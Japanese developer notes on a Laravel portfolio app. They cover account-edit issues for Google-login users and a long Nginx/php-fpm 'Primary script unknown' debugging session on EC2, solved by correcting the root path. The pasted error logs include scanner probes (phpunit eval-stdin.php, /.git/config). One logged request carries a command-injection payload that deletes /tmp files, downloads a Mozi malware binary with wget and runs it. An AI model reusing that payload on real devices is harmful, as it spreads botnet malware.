Googleログイン時にアカウント情報編集でメアドとPWの変更を行うときに発生する問題

PW変更

・そもそもPWを設定していないので、PWの変更ができない。

メールアドレス変更

・メールアドレス変更時に新規のメールアドレスを入力し、そのメールアドレスに認証メールが送られ、認証して問題がなければ変更が完了するフローとなっているが、変更ができてしまう。
・メールアドレスが変更されるとGoogleログインで登録していたことがないことになり、何かしら問題になりそうなので、Google登録した際にはPW・メアド変更を非表示にするようにする

・非表示にする案としては、UserテーブルにGoogleログインしている場合の項目を作ってそれを使う

PFとして出す分には素人が作ったサービスにGoogleでログインするやつもおらんやろうし、後回しでいいか…

さいれずさいれず

スマホで画像がでかすぎるっていうエラーが出てくるのでそれを解消させる

やったこと

  • Laravel側の画像サイズのデフォルト設定の変更(php.ini)
    └ 解消されず。これやった後にNginxを停止させたら404が出るようになった。
  • Nginx側の画像サイズのデフォルトを変更(/etc/nginx/nginx.conf)
    └ 解消されず。Nginxのエラーは下記
2022/05/13 18:04:53 [error] 23467#0: *403302 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 45.9.20.101, server: _, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "35.76.49.162:80"
2022/05/13 18:20:50 [error] 23467#0: *403445 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 45.9.20.101, server: _, request: "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "35.76.49.162:80"
2022/05/13 18:30:08 [error] 23467#0: *403528 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 172.104.138.223, server: _, request: "GET /fuN3 HTTP/1.0", upstream: "fastcgi://unix:/run/php-fpm/www.sock"
2022/05/13 20:30:27 [error] 23467#0: *404540 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 205.210.31.149, server: _, request: "GET / HTTP/1.0", upstream: "fastcgi://unix:/run/php-fpm/www.sock"
2022/05/13 23:29:12 [error] 23467#0: *406049 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 109.248.6.126, server: _, request: "GET / HTTP/1.0", upstream: "fastcgi://unix:/run/php-fpm/www.sock"
2022/05/14 00:03:33 [error] 23467#0: *406338 open() "/home/webapp/laravel-ci/src/public/50x.html" failed (2: No such file or directory), client: 117.93.46.143, server: _, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0", upstream: "fastcgi://unix:/run/php-fpm/www.sock"
~                                                                                                                                         

原因がまじでわからん…

下記の記事を参考にした

https://don-bu-rakko.com/ec2amazon-linux2単体でlemp環境を構築し、laravelを動かす方法!【つ/#nginx_php-fpm_の起動

/etc/php-fpm.d/www.conf
user = nginx ;webappから変更
group = nginx ;webappから変更

https://syoblog.com/aws-nginx-php/

下記のエラーを解消するために次の記事を参考に権限を変更
https://ora.geo.jp/?p=740

2022/05/18 07:13:16 [crit] 27524#0: *56 connect() to unix:/run/php-fpm/www.sock failed (13: Permission denied) while connecting to upstream, client: 172.18.7.203, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "172.18.3.196"

エラーは変わらずに出てくる…

お次は、server: _,の部分をSpoilyに変更してみる

2022/05/18 07:13:13 [error] 27524#0: *54 open() "/home/webapp:/public/50x.html" failed (2: No such file or directory), client: 172.18.3.99, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock", host: "172.18.3.196"

あかん〜!!!変わらず…

2022/05/18 07:13:16 [error] 27524#0: *56 open() "/home/webapp:/public/50x.html" failed (2: No such file
or directory), client: 172.18.7.203, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock", host: "172.18.3.196"

5/19 やっtめいた

fastcgi_param  SCRIPT_FILENAME $realpath_root$fastcgi_script_name;

fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;

に変更してみた

fastcgi_param  SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
listen = /run/php-fpm/www.sock;

listen = /var/run/php-fpm/www.sock;
2022/05/19 15:24:50 [error] 11818#0: *13 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.18.7.203, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "172.18.3.196"

2022/05/19 15:24:57 [error] 11818#0: *7 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.18.3.99, server: _, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "spoily.link"

2022/05/19 15:41:48 [error] 11986#0: *10 FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 172.18.3.99, server: _, request: "GET /.git/config HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm/www.sock:", host: "52.199.40.150"

全部をHTTPSで返すやつやっても404がかえってきた。別問題っぽいな

https://qiita.com/tt2004d/items/59fdb3702230641a9198

server {
        listen       80 default_server;
        listen       [::]:80 default_server;
        server_name  spoily.link;
-      root   /home/webapp:/public;
+     root   /home/webapp/laravel-ci/src/public;

}

EC2環境のNginx設定ファイル?のサーバー設定のrootディレクトリの値を
/home/webapp:/public;から/home/webapp/laravel-ci/src/public;に変更したら解決できた!!

よっしゃあああああああ!!!天才天才!!!

さいれずさいれず

プライバシーポリシーと利用規約の設置

  • プライバシーポリシーと利用規約に遷移させるためのコントローラーを作成(お問合せフォームを作った時にも使えそう)
  • 関連するモデルも作成?
  • ルーティングを設定

LaravelのMVCモデルについてもう少し深掘りする